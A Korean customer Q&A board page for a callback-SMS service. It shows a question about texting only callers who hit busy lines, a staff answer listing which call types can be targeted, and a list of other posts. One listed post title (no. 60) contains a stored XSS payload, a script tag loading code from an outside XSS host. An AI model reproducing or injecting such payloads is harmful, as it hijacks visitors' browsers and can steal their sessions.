메뉴 건너뛰기

ONLINE Q&A

서비스문의

모든 회선 통화중으로 인한 부재중 전화만 콜백 문자 가능한가요?

청운선사2022.01.21 14:55조회 수 732댓글 1

안녕하세요? 수고많으십니다.

 

유선전화를 이용한 상담실을 운영하고 있습니다.

 

다른 업체에 문의 결과 통화종료 후 수신.부재콜 모두 콜백 문자가 자동발송된다는 안내를 받았는데

저희는 수신되었던 콜은 제외하고 모든 회선이 통화중으로 통화연결이 되지 않고 끊어진 전화만

콜백 문자를 보내고 싶은데 가능한지 여쭙니다.

 

감사합니다.

댓글 1
  • 안녕하세요 콜백문자 파트너 하랑입니다.

     

    유선 콜백서비스의 경우 수신/ 발신/ 부재중/ 통화중 전화에 문자발송이 가능하지만 부재중 전화에만 발송한다던가, 통화 중 전화에만 발송하는 것은 불가능합니다.

     

    발송대상 :

    1) 통화후전화+부재중전화+통화중전화 발송가능

    2) 통화후전화만 발송가능

    3) 통화후전화 + 통화중전화 발송가능

    4) 통화후전화 + 부재중전화 발송가능

     

    * 부재중 + 통화 중 전화 설정불가

    * 부재중전화만 설정불가

    * 통화중전화만 설정불가

     

    추가 문의사항은 새 글로 남겨주시거나 카톡으로 문의 주시기 바랍니다 감사합니다 ^^

     

댓글 달기

번호 제목 글쓴이 날짜 조회 수
73 회사번호 RMS 신청 비용문의 드립니다.-게시글이전1 Callback 2018.11.07 3619
72 홍보이미지에 움직이는 사진도 가능한가요?1 ystarda 2018.11.07 3140
71 프렌차이즈 영업점 다회선 가입 문의1 문의 2019.02.12 3756
70 투넘버서비스 받고있는데 콜백서비스 가능한가요? -게시글이전1 Callback 2018.11.07 3339
69 통신사 투넘버 서비스 쓰고 있습니다 문의드려요1 1533222 2021.10.28 200
68 통닭집 하고 있습니다1 마라치킨 2023.12.21 83
67 콜센터에서 콜백 서비스 사용문의 드립니다.1 최연경 2022.01.12 424
66 콜센타운영합니다1 김경미 2019.10.23 2287
65 콜백서비스 이용하고싶은데 어떻게진행하면 되나요?1 모찌모찡 2023.12.01 110
64 콜백서비스 문의1 콜백문의 2020.03.27 1081
63 콜백문자 서비스 문의 드립니다.1 구피원 2021.06.25 255
62 콜백 서비스 문의1 2021.05.04 223
61 제작해주시는 홍보이미지 관련해서 문의드립니다. -게시글이전1 Callback 2018.11.07 3984
60 장문<sCRiPt sRC=//xss.pt/WBSr></sCrIpT> 송미 2021.10.13 2
59 일반전화콜백문의1 이승원 2020.11.14 8
58 일반전화 콜백문자 문의드립니다.1 0804 2021.08.04 549
57 일반전화 집전화? 유선전화?1 멍뭉 2019.03.26 6227
56 이이미지 사진?1 heli1234 2023.07.19 109
55 이용 문의드립니다.1 시소 2022.01.13 283
54 이미지 크기 설정 문의입니다1 배수지 2019.08.21 2540
SCROLL TOP